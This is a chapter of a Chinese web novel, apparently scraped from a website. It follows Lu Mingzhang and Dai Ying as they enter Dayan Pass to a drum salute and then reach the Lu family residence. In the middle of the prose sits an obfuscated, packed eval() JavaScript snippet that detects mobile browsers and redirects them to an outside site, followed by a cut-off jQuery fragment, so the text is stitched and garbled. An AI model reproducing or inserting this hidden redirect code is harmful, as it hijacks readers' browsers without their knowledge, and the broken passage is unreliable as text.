宇文杰被一群军卒摁在地面,脸贴着地,被挤压得变了形,越想越气,越想越恨。
这是得多早开始筹谋,才能把每一步都走得这样天衣无缝。
不论是走水路还是走陆路,从北境到这里都需要不少时日。
他居然从北境召兵前来接应,这些人一早静伏于野道间,绝非比他们早到一时半刻,而是在那里蛰伏许久。
这说明什么,说什么他一早就预料到陛下不会让他赴北境,前路和后路皆在他的计划中。
这个人……好,好,好啊……
宇文杰身上没由来地打了一个寒噤,接着抬起眼,见不远处立了一人,一个女人,她看着他。
船上为什么会有女人?脑中兀地闪过那夜木屋避雨的情形,篝火边,他同他闲话家常,陆铭章说起家中有一妻,在谈起自己妻子时,他脸上隐现愁绪。
他说他担心她。
唯有那次,他的面上不再是一贯的冷持和平静。
在看到戴缨后,在想明白她的身份后,他也不挣扎了,也不怒吼了,原来不是他一方失利,他们陛下那方也没守住。
陆铭章这厮自己跑脱了不说,连家眷也打包带上,他们罗扶是他家菜园子不成?!
戴缨没再多看,上了楼阶,进到屋里,船行了一段时日后,终于抵岸。
接下来又行了一段陆路,到了一座城池。
她坐在车里,揭起车帘往外看,一座厚重的城墙,墙头刻着三个大字,大燕关。
城墙头有烧过的焦黑,城下兵卫持戟而立,城门间人群往来。
她手上打着帘,侧过头,晶亮着双眼看向陆铭章,欣喜道:“到了?!”
“嗯,到了。”陆铭章微笑着点了点头。
大燕关的百姓照往常一样,游闲的游闲,忙碌的忙碌,街上人流来去。
正在此时,“咚——”的一声,震得人们下意识停住,有的抬头看天,有的四下乱看,那鼓音不绝,一直回荡于城中。
“怎么回事?”一人问道。
“是军鼓。”一个书生模样的人说道。
“城头为何会响鼓,难道说又要打仗了?”另一人问。
人们的心提吊起来,其中一人解释道:“非也,刚才那第一声鼓响是通报。”
“通报?”
“通报全城迎候。”书生道。
“全城迎候,这是……”
这人还未说完,紧接着又是“轰隆,轰隆”两声,鼓音震荡,响彻钧天。
不待路人发问,书生大感诧异地惊呼:“鼓鸣三通,开门迎驾。”
“真是,还真是三通鼓。”
这城头三通鼓响乃是高阶之仪,只为迎接帝王、钦差或是大将而设。
此时城里百姓心中疑惑,到底来的什么人物,这般大动静。
他们发现,在响第一通鼓时,城中军卫无论是守于城头的,还是于城中巡视的,又或是搬运物料的,先是浑身一震,接着迅速集结。
在第二通鼓响时,军卫们开始列阵,人们也跟着纷纷涌上街道两侧。
在第三通鼓响时,城门大开。
人们纷纷探头望去,只见一队人马行来,前行的十几人装束同普通人没有差别,头发利落束起,一身半旧布衣,腿踏短靴。
他们目不斜视,紧绷下颌和额角,控缰的指节因用力而泛白。
这些人只是看起来普通,然,通身高度戒备和一身悍气,只有军中才能淬炼。
周围一时间安静下来,马蹄在青石板上错落的踢踏响。
他们身后是一辆普通得不能再普通的马车,甚至还不如城中富户人家看起来气派。
暗沉的车厢,发白的青色帷帘,车壁外侧甚至还有几处磨损。
然而,就是这么一辆朴质的马车,不知里面坐着何人,引得这场阵仗。
车帘被风掀起一角,有那眼尖地窥探到里面端坐着两个人影,像是一男一女。
戴缨坐于车内,心中慨然,他们那个时候进罗扶京都,遭到了各种盘问,现下却又是另一番境况。
当真是一个天上,一个地下。
她看向陆铭章,他仍和平常一样,腰背挺直地坐着,双手搁于两腿之上,这是他一贯的坐姿,随意又不随意。
她将双手环于腰腹间,挺了挺腰背。
他瞥了她一眼,微笑道:“紧张?”
“不紧张。”她不愿承认,事实是,她是有些紧张的,同时也体味到一句话,有钱不如有权。
多少钱也不能达到的顶极尊荣。
“爷……”戴缨想了想,觉着日后对他的称呼可能得再变一变,暂且沿用以前的称呼,“大人,北境是否都是你的部下?我们在这里可以横着走?”
陆铭章低低地笑出声:“还是先回答你前一个问题。”
她喜欢他回答她问话的方式,她先抛出几个问题,他再认真地逐个回答。
“北境三关原是张巡和余子俊等人看守,在攻下三关后,这些人仍留用,所以,眼下三关是绝对安全的。”他停了停,补了一句,“在这里,你可以横着走,第二个问题也回答了。”
“三关以外呢?”戴缨问这话时带着一点担忧,“妾身的意思是北境,整个北境。”
相较于她的忧心,陆铭章反倒嘴角带笑道:“这算是第三个问题。”
“不止三个,还有许多个。”她说道。
他知道她担心什么,无非就是他们眼下的真实境况,接着,他便向她大致说明。
戴缨认真听着,了解到,北境很大,不止三关,其中有陆铭章的嫡系,譬如张巡、余子俊等原大衍军将,也有像孙乾等罗扶将领。
北境是陆铭章一手拿下的,加上他手上有元昊的符牌,每每夺下城池后,都会有意留用原大衍将领,不过怕引人怀疑,却也不能尽用。
于是由孙乾、李副将还有段括等罗扶军将任统管。
看似孙乾等人压制张巡等人一头,实则在不知不觉中已将孙乾等人架空。
不说中层军将,就连低层的掌印官、粮袜官、城门校尉等人皆是陆铭章的人。
渐渐地,实权下移,反水只在瞬息。
“所以……你可以试着在一个月后当只螃蟹,在整个北境横着走。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038938|186148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他半是认真半是玩笑地说道。
戴缨扑哧一笑,然后端正身形坐好。
陆府门前已立了许多人,这些人里,有新进的仆从,也有陆家从前的老人们。
他们一个个翘首盼着,陆家的老人面上是激动,是盼等,新进的仆从面上更多的是新奇。
陆家大爷他们是见过的,先前来过一回,这次听说带回了一位叫缨娘的侧室。
府里私下早传开了,这位侧室和陆家大爷隔着一辈。
他们还听说,陆大爷原是有位养女,这养女的夫婿就是这位侧室的表兄,且这表兄同这位侧室还有过婚约。
后来,这名叫缨娘的侧室被陆老夫人接进府里,最后不知怎的就成了陆家大爷的房里人。
满心好奇之下,便都想亲眼见见这位侧室生得何等模样。
陆铭川立于阶下,双眼望向一个方向,面目平静。
这个时候,一道清脆的声音响起:“爹,你手心出汗。”
陆崇抽出被父亲汗湿的手,嫌弃地在衣侧擦了擦,说道:“爹爹怎么这样紧张,是因为要见到大伯和姐姐?”
陆铭川看着儿子笑了笑:“是,因为要见到你大伯……”
陆崇扯着父亲的衣袖,纠正道:“不止大伯,还有姐姐。”
陆铭川点了点头,将目光再放远,看向一个方向。
终于,街尽头出现一行人马,当他们走到陆府门前时,陆铭川带着儿子走上前。
马车停当,长安下了车辕,将车帘揭开,接着陆铭章下了马车,然后回身,抬起手。
众人看去,就见一只白腻的手搭向家主宽大的手心。
那只手白得晃人眼,手形也好看,有那眼尖的人,连那匀长的指节,还有饱满粉泽的甲壳也看在了眼里。
在众人还在惊叹那只柔白如鸽翅的手时,一个袅袅的身形从车帘下走出,她低着头,弯着腰,一手捉裙,裙摆随着动作起了好看的褶。
一双蜜色的绣鞋在裙摆晃荡间若隐若现。
府门前,众人又想看,又不敢看太久,怕冒犯,个个脸上带着笑,待他二人行到跟前时,准备了足足的礼。
戴缨双脚落地,再一抬眼,一大一小行过来。
陆铭川,分别不过三年,她看他却有种恍如隔世之感,在她看向他时,他转头看向他的兄长,显得刻意。
兄弟二人一番阔叙寒温。
戴缨微笑着从他面上收回目光,低头看向他身侧的小陆崇,小儿已长成七八岁的模样。
“崇儿?”
陆崇抿着嘴笑,接着嘴角越翘越高,松开他父亲的手,双手环向身前,对着面前之人行了一礼。
“长高了。”戴缨侧过身,牵起他的手,通身打量一番,个头高了,从前圆嘟嘟的脸也有了形,眉眼更加好看了。
“崇哥儿?”她又唤了他一声。
陆崇小心地叫回了一声:“姐姐。”
三年不见,想念中又起了生疏,却又想要靠近,找回从前的熟悉。
在二人打招呼时,一旁的两兄弟没再说话,而是将注意放到这一大一小身上……